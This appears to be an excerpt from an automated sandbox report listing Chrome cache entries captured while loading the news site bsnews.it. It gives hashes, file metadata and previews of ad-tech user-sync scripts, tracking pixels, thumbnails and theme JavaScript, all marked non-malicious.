Preview:	<script src="https://assets.a-mo.net/js/cframe.js#gdpr=0&gdpr_consent=&cc=US"></script>.<script>__am$CK(["https://x.bidswitch.net/sync?ssp=adaptmx&user_id=10735680-48cc-46aa-8323-b54c7155938b&gdpr={{GDPR}}&gdpr_consent={{GDPR_CONSENT}}&us_privacy={{US_PRIVACY}}&gpp={{GPP_STRING}}&gpp_sid={{GPP_SID}}","https://ups.analytics.yahoo.com/ups/58570/occ?uid=10735680-48cc-46aa-8323-b54c7155938b","https://pixel.rubiconproject.com/exchange/sync.php?p=pbs-adaptmx&gdpr={{GDPR}}&gdpr_consent={{GDPR_CONSENT}}&us_privacy={{US_PRIVACY}}","https://id.a-mx.com/u?&gdpr={{GDPR}}&gdpr_consent={{GDPR_CONSENT}}&us_privacy={{US_PRIVACY}}&gpp={{GPP_STRING}}&gpp_sid={{GPP_SID}}&cb=https%3A%2F%2Fsync.a-mo.net%2Fsetuid%3FA%3D10735680-48cc-46aa-8323-b54c7155938b%26bidder%3Damx_com%26uid%3D","https://rtb.openx.net/sync/prebid?&gdpr={{GDPR}}&gdpr_consent={{GDPR_CONSENT}}&us_privacy={{US_PRIVACY}}&r=https%3A%2F%2Fsync.a-mo.net%2Fsetuid%3FA%3D10735680-48cc-46aa-8323-b54c7155938b%26bidder%3Dopenx%26uid%3D%24%7BUID%7D",

Chrome Cache Entry: 757

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1869), with no line terminators
Category:	downloaded
Size (bytes):	1869
Entropy (8bit):	5.135731721200687
Encrypted:	false
SSDEEP:	48:Sh0iATdcO1bSYmMS4x5pj44z65AzusqZOjTrjZNs:40i8bSYmMS14z6SzurZOjTrLs
MD5:	1413A83125756486D45FA3CD57CE0F98
SHA1:	87148615B79866B948694A31131953B65B74E136
SHA-256:	B11C68015534CD3B9CDAB77A80B64731487DE92658F9786CD907794BA48C09A0
SHA-512:	D251BB87BCB662C62E15FBE23D70C2EEDC7D7DCEC8139F7E232F99426C109D699FB92D80BF99F9A5B90124085EB867C4256740E9510229F7F8AD47883C90E708
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdInfiniteLoader.js?ver=12.6.5
Preview:	var tdInfiniteLoader={};(function(){tdInfiniteLoader={hasItems:!1,items:[],item:function(){this.jqueryObj=this.uid="";this.bottomTop=0;this.isVisibleCallbackEnabled=!0;this.isVisibleCallback=function(){}},addItem:function(b){tdInfiniteLoader.hasItems=!0;tdInfiniteLoader.items.push(b)},computeTopDistances:function(){!1!==tdInfiniteLoader.hasItems&&(jQuery.each(tdInfiniteLoader.items,function(b,a){a=tdInfiniteLoader.items[b].jqueryObj.offset().top;tdInfiniteLoader.items[b].bottomTop=a+tdInfiniteLoader.items[b].jqueryObj.height()}),tdInfiniteLoader.computeEvents())},computeEvents:function(){if(!1!==tdInfiniteLoader.hasItems){var b=jQuery(window).height()+jQuery(window).scrollTop();jQuery.each(tdInfiniteLoader.items,function(a,c){tdInfiniteLoader.items[a].bottomTop<b+700&&!0===tdInfiniteLoader.items[a].isVisibleCallbackEnabled&&(tdInfiniteLoader.items[a].isVisibleCallbackEnabled=!1,tdInfiniteLoader.items[a].isVisibleCallback())})}},enable_is_visible_callback:function(b){jQuery.each(tdInfin

Chrome Cache Entry: 758

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 759

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=8103fa85295fbe60&fi=b908337b94350305&uid=3287041831475129344
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 760

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8950
Entropy (8bit):	7.981732858248425
Encrypted:	false
SSDEEP:	192:KhNNGvB1Gj88WDUFQd9eEHR6/Jd4tXdF39dkC5NXNk5jzjzeluYhTo8yg:GNII88Wgyd9eEx6/JO+eXNkF+lrmg
MD5:	824D5670B6FDE8816127C399D3CBDFCF
SHA1:	AE9D5062F7C453F5E05FA42D5AE674F30FF3C4D0
SHA-256:	F38F2C80D4DB7091ED3A26EBC349A4175DE1096D677BB4B7E45D19D46BBB5757
SHA-512:	9A22A10731F32ABD969DCDCC4214680FC9E38205CDD83C94C5E09908E4715C6D8900B5977E34B704B59777A70C37D166FB9915E318024415EE7F1082E612A4B5
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg?resize=324%2C160&ssl=1
Preview:	RIFF."..WEBPVP8 .".......D...>m..F."..... ...e.......~.Z.J.)..Ow.O.\|..RS..j)..x{G..[................j.........~..4}.._A.R..'.K..[.......:......wh>\2/.....\.~.......6..Wt.$.&.......da.g.S...]..c.C..=.......7..$'.b.o..hX.iu..K.../...>.6:`4..._.<.J7.L<...pvR.._\|E.JV.J....Uf]._...R.!.....W.O....w.-F..;.%...Vd..3..^.-J...Ie.<C+`_...M.y.6A'...?..rX...i..?p.yB..u...1...<U.a.nB``....b..4....j@.)..q.(.W.z..$....$..?..$r...<....2 U$.y..i.<....]U.<..}5....r.~P......bzjK\n.Ab.. HM.w7..2..{T..V..ru..oG^....sNp.S............."=.XTm...@.0...D.(.X.@....W.$..N.[:.w.{f...j=&L........\..2.m.=(Q.;.v.L...0........8...~.e..R.+.ay....<&.QfM..k..d.y.X..R3R..eY..\|..@@M~.x.....@/\|.n.6..@[......Z.^z} ..,0...(...W.u.J..2U\|.:.....z..B[....Ea...<l.U...X.-...`.[.i.V.I._XT.C.....C.}+..V.<lMk.....57.4.0..Sy....dy.l+O.XO(..{.#.%,..k.\|6]q.?45Ui{o.....[6V+...8....=..<r..\|h:.....2HP.D........?..?c.?ZI.`......a...RB.CpT.y%...d.Z..9y..D-..[K.M...0P^n.......\....T.izS.:m..q.P....

Chrome Cache Entry: 761

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5104), with no line terminators
Category:	downloaded
Size (bytes):	5104
Entropy (8bit):	5.626087408200778
Encrypted:	false
SSDEEP:	96:CM/h/b/hlfXPDJUgEdCbIZN2xVsyy38tl7/glDv1bW3:jfyP6EM
MD5:	5A5193CAE173D303A7969F44A04A5365
SHA1:	576DD72E151BFB5ABD3B5BB64D24A213F4155372
SHA-256:	96D2A9EBEAECAB494DE8C3B448F1542F031649D285B53D627F1AE445D7BB7BD9
SHA-512:	36F25B19767C5520F99FFEE86ADBA74F0A54919445467BAD636493F9A770DEF7EFD02027FECBF824499F09DC369A3F636CC7C04FA314F62440E68AE2C44814FA
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=58509545&p=156212&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.l

Chrome Cache Entry: 762

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156011&s=165626&predirect=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dpubmatic.com%26id%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 763

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=gumgum
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 764

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	13695
Entropy (8bit):	7.942489221651417
Encrypted:	false
SSDEEP:	384:UlwAkHdzc/z1Q4DW3sA1pPbDtTXMJ97QCd:UlRk+/z+3sA1pPbx7iRd
MD5:	1FB500AFCD15A6C90665BA1979A22CE0
SHA1:	4A43AC5E2AE23EEA0833F1A98372C8A13BBCDDD4
SHA-256:	F486D93B63C5A5BED1F3DE25A78E8FBFF1953356843662B7077A82EE6F451ACB
SHA-512:	A38C2817EEC2A9620843B4E59BA082EF1381967660E9B0D1927447D195B7D8C6A45E2E70B2CA28DAFA3561A62660C61066EE9910478A25AC364E0D4E4CCAD38D
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."...............................................................................k.iZ;..%...<.>......M...<.Q..#...@.y.......c.e.M...JT..O=..+E.p..B.?...]...k5.[...J.Z.J......x...?......7.t..-h.......5.u42..U.x..&.R.......n-h..h..l......f.3.?....\...[5eZ....{]p..p+E9.y.)...S2..^o..u...0H@.....gd..vk-"..z.B...w]eN..M........,l.....A..b<...5`.....c...s..J`..kO..g.!.W.....bI,R<..\.]..c$.V..Z.jiq.m-\|......]h........mkmGX..?tV:...S5eY3T.].RB..H.D.x..c......+-g&.#U-...z.....i.....].t..e......&.-.[...g..H...n.c.0...S.Z..h......8.;..@.M....C..>.?b..r...ch...i..S......A./f.6...t......\.Z4....):.......J&V....F.Y.i.l.....1K.2D(.5.4..(..M..[....k....T....3......$....E^..~.E...P...8.W..J..fV.D1..cOX.l..r.g...=..9.*d....%....xk.M_..22H.Yuf.S......M..md.&2..4HV+MB.+&.Y8..U..'.^..

Chrome Cache Entry: 765

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=a208d9366469aa64&fi=b908337b94350305&uid=01F5328A-C4D9-44AD-8468-60A885247C68
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 766

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17484), with no line terminators
Category:	downloaded
Size (bytes):	17484
Entropy (8bit):	5.223369162348979
Encrypted:	false
SSDEEP:	384:8Vrn5Fru8dqCDCl8J2RfyoJaOjtofZk1kC4cSWDTkZJwkXI/:8pa8dqCDCiJ+qooOKhIkCHSWDTWp4/
MD5:	230FE9426CA729314526F167679DA3C0
SHA1:	9F438FCC78C9C2405A962A9808FC5B7E1791C7D3
SHA-256:	27961AB8C37CDDAD89230364167C048C6377A80E38542A5FFBCA600FAF4098EA
SHA-512:	9699E84143E68BEE6B8B7C6A07F25BF2188658C47AF5284607F93135331FB929CE953956D9C6236A44B1CE4DB3564A97F568D7CCA6E9F6EE5E80EB9C8470D32E
Malicious:	false
Reputation:	low
URL:	https://pghub.io/js/pandg-sdk.js
Preview:	!function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=0)}([function(t,e,n){"use strict";n.r(e);var r,o,a,i,u,c=Object({name:"P&G",pixelUrl:"https:/

Chrome Cache Entry: 767

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	200
Entropy (8bit):	5.079756914018755
Encrypted:	false
SSDEEP:	6:z8ziFnm897pYicUCnaal8bm8LDSK5zk2CyTgmd:ztmaY1mvLg2Cy
MD5:	B5860AB9062897F6494BCC9B07B60584
SHA1:	D302D94C653BC89803C06C2EB3B1519D109777CF
SHA-256:	EDD7CA5F8B76DD9954F53A9024669D82FFFB1D92ABE0970D8DB661B92BE8609C
SHA-512:	F1B83DF90DB6D26770BC8B42F4D302F01321A76766E99B87127A53E7479F51C7B6C3AFA9D7C3993BC4B5E983E1EFB56237059B6A16ABFD4FA6FF37AB525ECA18
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlAnbm3KJujQxIFDbtXVmoSFwnx2tNS255lhRIFDb7BLDASBQ3r55t8EhAJXvd57KX8wxcSBQ3cRn2aEiwJQ2i6stD1T5cSBQ1AIaWTEgUNamOuFBIFDVy0cLkSBQ1ZhOf2EgUNTpy5ERIsCWJUVSbTRKqBEgUNMT2UMBIFDaMbncoSBQ14bxIZEgUNDksRgRIFDYF6NBA=?alt=proto
Preview:	CgkKBw27V1ZqGgAKEgoHDb7BLDAaAAoHDevnm3waAAoJCgcN3EZ9mhoACjkKBw1AIaWTGgAKCw1qY64UGgQIAxgBCgsNXLRwuRoECAUYAQoHDVmE5/YaAAoLDU6cuREaBAgJGAEKLQoHDTE9lDAaAAoHDaMbncoaAAoHDXhvEhkaAAoHDQ5LEYEaAAoHDYF6NBAaAA==

Chrome Cache Entry: 768

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072960&val=1m8zihr296h5t
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 769

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12355)
Category:	downloaded
Size (bytes):	16667
Entropy (8bit):	5.2963695343579875
Encrypted:	false
SSDEEP:	384:JnQ9zN1u3K9q2ZPUx5gghiapcHjtRKhjTqBFF6ZWAiA5TE14BBVR:hQ9zN1tghiapcHjtRrF6ZWAiA5TEah
MD5:	CA0E2827FF386A1AE8949E9E0A6071F6
SHA1:	7FE1358CD34616007A489190A95E36A05C4C24DC
SHA-256:	C25B93D3518307187692B849722F61E859EE016DE25EAE04BF13F915BFCA6FF8
SHA-512:	0E5A1947E63B7238A4B174686B227771C01F5F878671A5176783A300F704769EBF19C1D076633D0F320A514CDF8DA8D7DE25122C7083BFE610E842AAEE7733B6
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/adbuilder/61352/hype-hFHHoa8/IS_Pepco.hyperesources/IS_Pepco.hyperesources/ispepco_hype_generated_script.js
Preview:	//.HYPE.documents["IS_Pepco"]..(function(){(function m(){function k(a,b,c,d){var e=!1;null==window[a]&&(null==window[b]?(window[b]=[],window[b].push(m),a=document.getElementsByTagName("head")[0],b=document.createElement("script"),e=l,false==!0&&(e=""),b.type="text/javascript",""!=d&&(b.integrity=d,b.setAttribute("crossorigin","anonymous")),b.src=e+"/"+c,a.appendChild(b)):window[b].push(m),e=!0);return e}var l="IS_Pepco.hyperesources",f="IS_Pepco",g="ispepco_hype_container";if(false==.!1)try{for(var c=document.getElementsByTagName("script"),a=0;a<c.length;a++){var d=c[a].src,b=null!=d?d.indexOf("/ispepco_hype_generated_script.js"):-1;if(-1!=b){l=d.substr(0,b);break}}}catch(p){}c=null==navigator.userAgentData&&navigator.userAgent.match(/MSIE (\d+\.\d+)/);c=parseFloat(c&&c[1])\|\|null;d=!0==(null!=window.HYPE_752F\|\|null!=window.HYPE_dtl_752F)\|\|false==!0\|\|null!=c&&10>c;a=!0==d?"HYPE-752.full.min.js":"HYPE-752.thin.min.js";c=!0==d?"F":"T";.d=d?"":"";if(false==!1&&(a=k("HYPE_752"+c,"HYPE_dtl_7

Chrome Cache Entry: 770

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	687
Entropy (8bit):	4.7081410558902475
Encrypted:	false
SSDEEP:	12:t41WffBz0zFg3V2BzEI47bUYcBjWzLjyrBz4KgALQyx9OjSqwuGVHAUe9gBZ9Qpa:t414fqzFSEWfwXyzLgFBLhOebreUe9gX
MD5:	3A36CAF1FD1FCE61581D2250B8459314
SHA1:	8185CFDB0A7B2E44709543A1F59127A263C21E63
SHA-256:	7F8739611BEF5E30D579DB0B3783D260CC84BB38E9B3B0F51B566C04D1303564
SHA-512:	48C12B26B0B642BCEACC4B8498F3E09F6CBAC0EB4FC0003ED3F5551B66C36E7C61CD82C22C0880C199379AF829046FB1782F488DA1E63B03F172953C9E781F9E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#31373D" d="M35 31s0 4-4 4H5c-4 0-4-4-4-4V12c0-4 4-4 4-4h26s4 0 4 4v19z"/><path fill="#31373D" d="M21.303 10.389c.391.391.391 1.023 0 1.414s-1.023.391-1.414 0l-9.192-9.192c-.391-.391-.391-1.023 0-1.414s1.023-.391 1.414 0l9.192 9.192z"/><path fill="#31373D" d="M14.697 10.389c-.391.391-.391 1.023 0 1.414s1.023.391 1.414 0l9.192-9.192c.391-.391.391-1.023 0-1.414s-1.023-.391-1.414 0l-9.192 9.192z"/><path fill="#55ACEE" d="M18 11c8 0 10 1 11 2s2 3 2 8-1 7-2 8-3 2-11 2-10-1-11-2-2-3-2-8 1-7 2-8 3-2 11-2z"/><circle fill="#66757F" cx="31.5" cy="31.5" r="1.5"/><circle fill="#66757F" cx="4.5" cy="31.5" r="1.5"/></svg>

Chrome Cache Entry: 771

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 772

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=41&external_user_id=75d4a5de-ece0-11ee-ab78-4ddd1f4de73d
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 773

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10274
Entropy (8bit):	7.982284712043209
Encrypted:	false
SSDEEP:	192:Xl1wbMjYO0PlEZdNOX8I2n7FRn9IQZCK7Y7FYFPHuvCSMyQefNH53AN4fscw3:X05lEZdsARn9IQZKJUWv3MyTjfc3
MD5:	2925BC97C09C884110255C92223DDD13
SHA1:	B73529E2D68CB7426073762499C7AD9717BAA6E1
SHA-256:	AF27260B33ED95BCEA297C68A988C2E92C9BB0D307CC636ED12B6FFA107B6945
SHA-512:	D4DB95E53718D5CAA3E7F8FC63C53F62468946474505F54730A918F0F0D9602B8353D229B00FE8C45D1D816D7B8A713AE6163E5BB7DB531C39CFD005FD03CFD2
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.(..WEBPVP8 .(......D...>m,.F$"..-.MX...j.r.........._..gz../....{I...y..g.W./.^..Y{.~...z.~.{........'...........? ....z^.!..{..........]...7..........o.~....t.....+........,._............(5.......... './.?.~T\|G\|o..G.........{.7.w....9...y......c..?.z'...g.o..._.?.z..(...i..TV_..p...S...:~.0ey.7.V;?G]..$...`.k>.........J....q<..A..>..p.....c........Z.s.1a&...l.G.].e/..uU......CT......{....L....G..o.......0.$CJ...L'.q.f.;..c.y..?l{.I..f.7 ..~bn..Q..}...0..(..0.8. .wm...i..\...$.<........(A'...=`.#a...^H...S..Md.........$tfa.P1.)2..O..+..q..+......%._.v........cP.es.U.....g.."Ys..q.rX.G>....aw.Z.=..Zp..c...../.ev.5K.7.a.....'.......il.p.:..@..E3.Y2.....=.P....3...U....,.oj...&....M.....G.........Y.@....E;C..m)v..\C......y..k8.l..I..\|.../.e.oY.X.y{5.\.'.....M.L.^t...R...K!:.+D....../..ZH..$u.7o...L.`.....6.@K:<}..~....\|wVF.-...wVl...~.6W..}...... .>....%.*.6'........=(q..d....`.........U;.....B.....23[..i8k.I.S.D3...F......N.....

Chrome Cache Entry: 774

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.1605164080550265
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdNPrRi9PaQxJbBPq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdNPr49ieJBP5
MD5:	EE92B3EB4AFFC45C71797E1886ACAA9B
SHA1:	51A258043DD8BE790B046BE7DB818506BEA29023
SHA-256:	D64E4403B2DFF453CB50F18CF76D1A49D936591EDEF80D1886F2732628C4A77D
SHA-512:	8E45071C7C8DE6FD5D3ED5BB5D7A02DC13C2332DD23B031B628F78F87D1782364F2581DD2A90B21ECC47851D9F8F1FAC8D76C27207F4E25A6D8AB9B2EBCED958
Malicious:	false
Reputation:	low
